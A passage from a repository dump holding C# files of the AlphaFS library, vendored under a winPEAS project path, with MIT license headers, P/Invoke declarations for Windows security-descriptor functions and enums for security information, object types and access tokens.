    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The SetNamedSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by name.\n      /// <para>&#160;</para>\n      /// <returns>\n      /// <para>If the function succeeds, the function returns ERROR_SUCCESS.</para>\n      /// <para>If the function fails, it returns a nonzero error code defined in WinError.h.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SetNamedSecurityInfoW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint SetNamedSecurityInfo([MarshalAs(UnmanagedType.LPWStr)] string pObjectName, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, IntPtr pSidOwner, IntPtr pSidGroup, IntPtr pDacl, IntPtr pSacl);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.SetSecurityInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The SetSecurityInfo function sets specified security information in the security descriptor of a specified object. \n      /// The caller identifies the object by a handle.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns ERROR_SUCCESS.\n      /// If the function fails, it returns a nonzero error code defined in WinError.h.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint SetSecurityInfo(SafeFileHandle handle, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, IntPtr psidOwner, IntPtr psidGroup, IntPtr pDacl, IntPtr pSacl);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/Luid.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>An LUID is a 64-bit value guaranteed to be unique only on the system on which it was generated. The uniqueness of a locally unique identifier (LUID) is guaranteed only until the system is restarted.</summary>\n   /// <remarks>\n   /// <para>Minimum supported client: Windows XP [desktop apps only]</para>\n   /// <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n   /// </remarks>\n   [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n   internal struct LUID\n   {\n      /// <summary>Low-order bits.</summary>\n      [MarshalAs(UnmanagedType.U4)] public uint LowPart;\n\n      /// <summary>High-order bits.</summary>\n      [MarshalAs(UnmanagedType.U4)] public uint HighPart;\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/SECURITY_DESCRIPTOR_CONTROL.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>The SECURITY_DESCRIPTOR_CONTROL data type is a set of bit flags that qualify the meaning of a security descriptor or its components.\n   /// Each security descriptor has a Control member that stores the SECURITY_DESCRIPTOR_CONTROL bits.\n   /// </summary>\n   /// <remarks>\n   /// <para>Minimum supported client: Windows XP [desktop apps only]</para>\n   /// <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n   /// </remarks>\n   [Flags]\n   internal enum SECURITY_DESCRIPTOR_CONTROL\n   {\n      /// <summary>None</summary>\n      None = 0,\n\n      /// <summary>SE_OWNER_DEFAULTED (0x0001) - Indicates an SD with a default owner security identifier (SID). You can use this bit to find all of the objects that have default owner permissions set.</summary>\n      SE_OWNER_DEFAULTED = 1,\n\n      /// <summary>SE_GROUP_DEFAULTED (0x0002) - Indicates an SD with a default group SID. You can use this bit to find all of the objects that have default group permissions set.</summary>\n      SE_GROUP_DEFAULTED = 2,\n\n      /// <summary>SE_DACL_PRESENT (0x0004) - Indicates an SD that has a discretionary access control list (DACL). If this flag is not set, or if this flag is set and the DACL is NULL, the SD allows full access to everyone.</summary>\n      SE_DACL_PRESENT = 4,\n\n      /// <summary>SE_DACL_DEFAULTED (0x0008) - Indicates an SD with a default DACL. For example, if an object creator does not specify a DACL, the object receives the default DACL from the access token of the creator. This flag can affect how the system treats the DACL, with respect to access control entry (ACE) inheritance. The system ignores this flag if the SE_DACL_PRESENT flag is not set.</summary>\n      SE_DACL_DEFAULTED = 8,\n\n      /// <summary>SE_SACL_PRESENT (0x0010) - Indicates an SD that has a system access control list (SACL).</summary>\n      SE_SACL_PRESENT = 16,\n\n      /// <summary>SE_SACL_DEFAULTED (0x0020) - Indicates an SD with a default SACL. For example, if an object creator does not specify an SACL, the object receives the default SACL from the access token of the creator. This flag can affect how the system treats the SACL, with respect to ACE inheritance. The system ignores this flag if the SE_SACL_PRESENT flag is not set.</summary>\n      SE_SACL_DEFAULTED = 32,\n\n      /// <summary>SE_DACL_AUTO_INHERIT_REQ (0x0100) - Requests that the provider for the object protected by the SD automatically propagate the DACL to existing child objects. If the provider supports automatic inheritance, it propagates the DACL to any existing child objects, and sets the SE_DACL_AUTO_INHERITED bit in the security descriptors of the object and its child objects.</summary>\n      SE_DACL_AUTO_INHERIT_REQ = 256,\n\n      /// <summary>SE_SACL_AUTO_INHERIT_REQ (0x0200) - Requests that the provider for the object protected by the SD automatically propagate the SACL to existing child objects. If the provider supports automatic inheritance, it propagates the SACL to any existing child objects, and sets the SE_SACL_AUTO_INHERITED bit in the SDs of the object and its child objects.</summary>\n      SE_SACL_AUTO_INHERIT_REQ = 512,\n\n      /// <summary>SE_DACL_AUTO_INHERITED (0x0400) - Windows 2000 only. Indicates an SD in which the DACL is set up to support automatic propagation of inheritable ACEs to existing child objects. The system sets this bit when it performs the automatic inheritance algorithm for the object and its existing child objects. This bit is not set in SDs for Windows NT versions 4.0 and earlier, which do not support automatic propagation of inheritable ACEs.</summary>\n      SE_DACL_AUTO_INHERITED = 1024,\n\n      /// <summary>SE_SACL_AUTO_INHERITED (0x0800) - Windows 2000: Indicates an SD in which the SACL is set up to support automatic propagation of inheritable ACEs to existing child objects. The system sets this bit when it performs the automatic inheritance algorithm for the object and its existing child objects. This bit is not set in SDs for Windows NT versions 4.0 and earlier, which do not support automatic propagation of inheritable ACEs.</summary>\n      SE_SACL_AUTO_INHERITED = 2048,\n\n      /// <summary>SE_DACL_PROTECTED (0x1000) - Windows 2000: Prevents the DACL of the SD from being modified by inheritable ACEs.</summary>\n      SE_DACL_PROTECTED = 4096,\n\n      /// <summary>SE_SACL_PROTECTED (0x2000) - Windows 2000: Prevents the SACL of the SD from being modified by inheritable ACEs.</summary>\n      SE_SACL_PROTECTED = 8192,\n\n      /// <summary>SE_RM_CONTROL_VALID (0x4000) - Indicates that the resource manager control is valid.</summary>\n      SE_RM_CONTROL_VALID = 16384,\n\n      /// <summary>SE_SELF_RELATIVE (0x8000) - Indicates an SD in self-relative format with all of the security information in a contiguous block of memory. If this flag is not set, the SD is in absolute format. For more information, see Absolute and Self-Relative Security Descriptors.</summary>\n      SE_SELF_RELATIVE = 32768\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/SECURITY_INFORMATION.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>The SECURITY_INFORMATION data type identifies the object-related security information being set or queried.\n   /// This security information includes:\n   ///   The owner of an object;\n   ///   The primary group of an object;\n   ///   The discretionary access control list (DACL) of an object;\n   ///   The system access control list (SACL) of an object;\n   /// </summary>\n   /// <remarks>\n   /// An unsigned 32-bit integer specifies portions of a SECURITY_DESCRIPTOR by means of bit flags.\n   /// Individual bit values (combinable with the bitwise OR operation) are as shown in the following table.\n   /// </remarks>\n   [Flags]\n   internal enum SECURITY_INFORMATION : uint\n   {\n      /// <summary>None</summary>\n      None = 0,\n\n      /// <summary>OWNER_SECURITY_INFORMATION (0x00000001) - The owner identifier of the object is being referenced.</summary>\n      OWNER_SECURITY_INFORMATION = 1,\n\n      /// <summary>GROUP_SECURITY_INFORMATION (0x00000002) - The primary group identifier of the object is being referenced.</summary>\n      GROUP_SECURITY_INFORMATION = 2,\n\n      /// <summary>DACL_SECURITY_INFORMATION (0x00000004) - The DACL of the object is being referenced.</summary>\n      DACL_SECURITY_INFORMATION = 4,\n\n      /// <summary>SACL_SECURITY_INFORMATION (0x00000008) - The SACL of the object is being referenced.</summary>\n      SACL_SECURITY_INFORMATION = 8,\n\n      /// <summary>LABEL_SECURITY_INFORMATION (0x00000010) - The mandatory integrity label is being referenced. The mandatory integrity label is an ACE in the SACL of the object.</summary>\n      /// <remarks>Windows Server 2003 and Windows XP: This bit flag is not available.</remarks>\n      LABEL_SECURITY_INFORMATION = 16,\n\n      /// <summary>ATTRIBUTE_SECURITY_INFORMATION (0x00000020) - The resource properties of the object being referenced.\n      /// The resource properties are stored in SYSTEM_RESOURCE_ATTRIBUTE_ACE types in the SACL of the security descriptor.\n      /// </summary>\n      /// <remarks>Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This bit flag is not available.</remarks>\n      ATTRIBUTE_SECURITY_INFORMATION = 32,\n\n      /// <summary>SCOPE_SECURITY_INFORMATION (0x00000040) - The Central Access Policy (CAP) identifier applicable on the object that is being referenced.\n      /// Each CAP identifier is stored in a SYSTEM_SCOPED_POLICY_ID_ACE type in the SACL of the SD.\n      /// </summary>\n      /// <remarks>Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This bit flag is not available.</remarks>\n      SCOPE_SECURITY_INFORMATION = 64,\n\n      /// <summary>BACKUP_SECURITY_INFORMATION (0x00010000) - All parts of the security descriptor. This is useful for backup and restore software that needs to preserve the entire security descriptor.</summary>\n      /// <remarks>Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This bit flag is not available.</remarks>\n      BACKUP_SECURITY_INFORMATION = 65536,\n\n      /// <summary>UNPROTECTED_SACL_SECURITY_INFORMATION (0x10000000) - The SACL inherits ACEs from the parent object.</summary>\n      UNPROTECTED_SACL_SECURITY_INFORMATION = 268435456,\n\n      /// <summary>UNPROTECTED_DACL_SECURITY_INFORMATION (0x20000000) - The DACL inherits ACEs from the parent object.</summary>\n      UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912,\n\n      /// <summary>PROTECTED_SACL_SECURITY_INFORMATION (0x40000000) - The SACL cannot inherit ACEs.</summary>\n      PROTECTED_SACL_SECURITY_INFORMATION = 1073741824,\n\n      /// <summary>PROTECTED_DACL_SECURITY_INFORMATION (0x80000000) - The DACL cannot inherit access control entries (ACEs).</summary>\n      PROTECTED_DACL_SECURITY_INFORMATION = 2147483648\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/SE_OBJECT_TYPE.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>The SE_OBJECT_TYPE enumeration contains values that correspond to the types of Windows objects that support security.\n   /// The functions, such as GetSecurityInfo and SetSecurityInfo, that set and retrieve the security information of an object, use these values to indicate the type of object.\n   /// </summary>\n   /// <remarks>\n   /// <para>Minimum supported client: Windows XP [desktop apps only]</para>\n   /// <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n   /// </remarks>\n   internal enum SE_OBJECT_TYPE\n   {\n      /// <summary>Unknown object type.</summary>\n      SE_UNKNOWN_OBJECT_TYPE = 0,\n\n      /// <summary>Indicates a file or directory. The name string that identifies a file or directory object can be in one of the following formats:\n      ///   A relative path, such as FileName.dat or ..\\FileName\n      ///   An absolute path, such as FileName.dat, C:\\DirectoryName\\FileName.dat, or G:\\RemoteDirectoryName\\FileName.dat.\n      ///   A UNC name, such as \\\\ComputerName\\ShareName\\FileName.dat.\n      /// </summary>\n      SE_FILE_OBJECT,\n\n      /// <summary>Indicates a Windows service. A service object can be a local service, such as ServiceName, or a remote service, such as \\\\ComputerName\\ServiceName.</summary>\n      SE_SERVICE,\n\n      /// <summary>Indicates a printer. A printer object can be a local printer, such as PrinterName, or a remote printer, such as \\\\ComputerName\\PrinterName.</summary>\n      SE_PRINTER,\n\n      /// <summary>Indicates a registry key. A registry key object can be in the local registry, such as CLASSES_ROOT\\SomePath or in a remote registry, such as \\\\ComputerName\\CLASSES_ROOT\\SomePath.\n      /// The names of registry keys must use the following literal strings to identify the predefined registry keys: \"CLASSES_ROOT\", \"CURRENT_USER\", \"MACHINE\", and \"USERS\".\n      /// </summary>\n      SE_REGISTRY_KEY,\n\n      /// <summary>Indicates a network share. A share object can be local, such as ShareName, or remote, such as \\\\ComputerName\\ShareName.</summary>\n      SE_LMSHARE,\n\n      /// <summary>Indicates a local kernel object. The GetSecurityInfo and SetSecurityInfo functions support all types of kernel objects.\n      /// The GetNamedSecurityInfo and SetNamedSecurityInfo functions work only with the following kernel objects: semaphore, event, mutex, waitable timer, and file mapping.</summary>\n      SE_KERNEL_OBJECT,\n\n      /// <summary>Indicates a window station or desktop object on the local computer. You cannot use GetNamedSecurityInfo and SetNamedSecurityInfo with these objects because the names of window stations or desktops are not unique.</summary>\n      SE_WINDOW_OBJECT,\n\n      /// <summary>Indicates a directory service object or a property set or property of a directory service object.\n      /// The name string for a directory service object must be in X.500 form, for example: CN=SomeObject,OU=ou2,OU=ou1,DC=DomainName,DC=CompanyName,DC=com,O=internet</summary>\n      SE_DS_OBJECT,\n\n      /// <summary>Indicates a directory service object and all of its property sets and properties.</summary>\n      SE_DS_OBJECT_ALL,\n\n      /// <summary>Indicates a provider-defined object.</summary>\n      SE_PROVIDER_DEFINED_OBJECT,\n\n      /// <summary>Indicates a WMI object.</summary>\n      SE_WMIGUID_OBJECT,\n\n      /// <summary>Indicates an object for a registry entry under WOW64.</summary>\n      SE_REGISTRY_WOW64_32KEY\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>[AlphaFS] Access rights for access-token objects.</summary>\n      [Flags]\n      internal enum TOKEN : uint\n      {\n         /// <summary>Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task.</summary>\n         TOKEN_ASSIGN_PRIMARY = 1,\n\n         /// <summary>Required to duplicate an access token.</summary>\n         TOKEN_DUPLICATE = 2,\n\n         /// <summary>Required to attach an impersonation access token to a process.</summary>\n         TOKEN_IMPERSONATE = 4,\n\n         /// <summary>Required to query an access token.</summary>\n         TOKEN_QUERY = 8,\n\n         /// <summary>Required to query the source of an access token.</summary>\n         TOKEN_QUERY_SOURCE = 16,\n\n         /// <summary>Required to enable or disable the privileges in an access token.</summary>\n         TOKEN_ADJUST_PRIVILEGES = 32,\n\n         /// <summary>Required to adjust the attributes of the groups in an access token.</summary>\n         TOKEN_ADJUST_GROUPS = 64,\n\n         /// <summary>Required to change the default owner, primary group, or DACL of an access token.</summary>\n         TOKEN_ADJUST_DEFAULT = 128,\n\n         /// <summary>Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required.</summary>\n         TOKEN_ADJUST_SESSIONID = 256,\n\n         /// <summary>Combines STANDARD_RIGHTS_READ and TOKEN_QUERY.</summary>\n         TOKEN_READ = STANDARD_RIGHTS_READ | TOKEN_QUERY,\n\n         /// <summary>Combines all possible access rights for a token.</summary>\n         TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\n                            TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN_ELEVATION_TYPE.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The TOKEN_ELEVATION_TYPE enumeration indicates the elevation type of token being queried by the GetTokenInformation function.</summary>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      internal enum TOKEN_ELEVATION_TYPE\n      {\n         ///// <summary>The token does not have a linked token: UAC is disabled or the process is started by a standard User (not a member of the Administrators group).</summary>\n         //TokenElevationTypeDefault = 1,\n\n         /// <summary>The token is an elevated token: UAC is enabled and User is elevated.</summary>\n         TokenElevationTypeFull = 2,\n\n         ///// <summary>The token is a limited token: UAC is enabled but User is not elevated.</summary>\n         //TokenElevationTypeLimited = 3\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN_INFORMATION_CLASS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token.\n      /// <para>The GetTokenInformation function uses these values to indicate the type of token information to retrieve.</para>\n      /// <para>The SetTokenInformation function uses these values to set the token information.</para>\n      /// </summary>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      internal enum TOKEN_INFORMATION_CLASS\n      {\n         ///// <summary>The buffer receives a TOKEN_USER structure that contains the user account of the token.</summary>\n         //TokenUser = 1,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token.</summary>\n         //TokenGroups = 2,\n\n         ///// <summary>The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token.</summary>\n         